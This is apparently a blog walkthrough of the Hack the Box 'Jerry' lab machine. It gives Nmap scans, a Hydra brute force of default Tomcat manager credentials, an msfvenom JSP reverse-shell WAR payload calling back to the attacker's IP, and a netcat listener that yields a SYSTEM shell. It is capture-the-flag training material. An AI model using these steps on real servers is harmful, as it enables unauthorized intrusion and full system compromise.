Hack the Box - Jerry - Walkthrough
Introduction
Today we're going to be doing a pentest walkthrough of the Jerry machine hosted at https://hackthebox.eu . For this pentest, we'll be using a Kali Linux virtual machine as our attacking system and the Jerry machine as the victim system. After connecting to the Hack the Box network via VPN, we see that our target is located at 10.129.107.214Scanning and Enumeration
We'll start by scanning for open ports with Nmap:
sudo nmap -T4 -p- 10.129.107.214
Now we'll do another Nmap scan, this time specifying the ports and picking up service names and version numbers:
sudo nmap -sV -T4 -p8080 10.129.107.214
sudo nmap -sV -T4 -p8080 10.129.107.214
Only one port open, and the web-server on this host seems to be running Apache Tomcat on the default port. Let's take a look at the website in our web browser:
http://10.129.107.214:8080
http://10.129.107.214:8080
We have an Apache Tomcat version number. When we try to navigate to the manager page at /manager/html we're ask for Basic Auth credentials, so we attempt to bruteforce default credentials for the service using Hydra:
hydra -C /usr/share/seclists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt http-get://10.129.107.214:8080/manager/html
We get two hits, so we'll attempt to authenticate to the manager section via Basic Auth:
http://tomcat:s3cret@10.129.107.214:8080/manager/html/
Finding a Way In
Now that we have manager access to Apache Tomcat, we can upload files to the web-server as long as the files are in .war format. We'll create a reverse shell file using MSFvenom:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.86 LPORT=8080 -f war > HTBwinRev8080.war
Before we upload our malicious file, we'll setup our Netcat listener to catch our reverse shell:
sudo nc -nlvp 8080
http://10.129.107.214:8080/manager/html
It appears that the Apache Tomcat service on this host was configured to run with SYSTEM privileges, so the reverse shell we received when we used the service to connect back to our attacking machine also has those privileges.
Capturing the User and Root Flags
Most Hack the Box Windows system User and Root flags are located in a user's \Desktop directory and in the Administrator user's \Desktop directory, respectively. However, the flag for this system are located in a directory named Flags inside of the Users\Administrator\Desktop directory.
type "C:\Users\Administrator\Desktop\Flags\2 for the price of 1.txt"
Summary
After initial scans, we found that target webserver's Apache Tomcat service was using default credentials for its admin-equivalent account. After authentication, we were able to use the service's file upload feature to upload a malicious file to the server, and upon interaction with that file, we received a reverse shell into the system. Because the service had been misconfigured, the reverse shell we received on the target had elevated privileges, and we were able to access and capture our objective flag files.
Finish
Comments
Post a Comment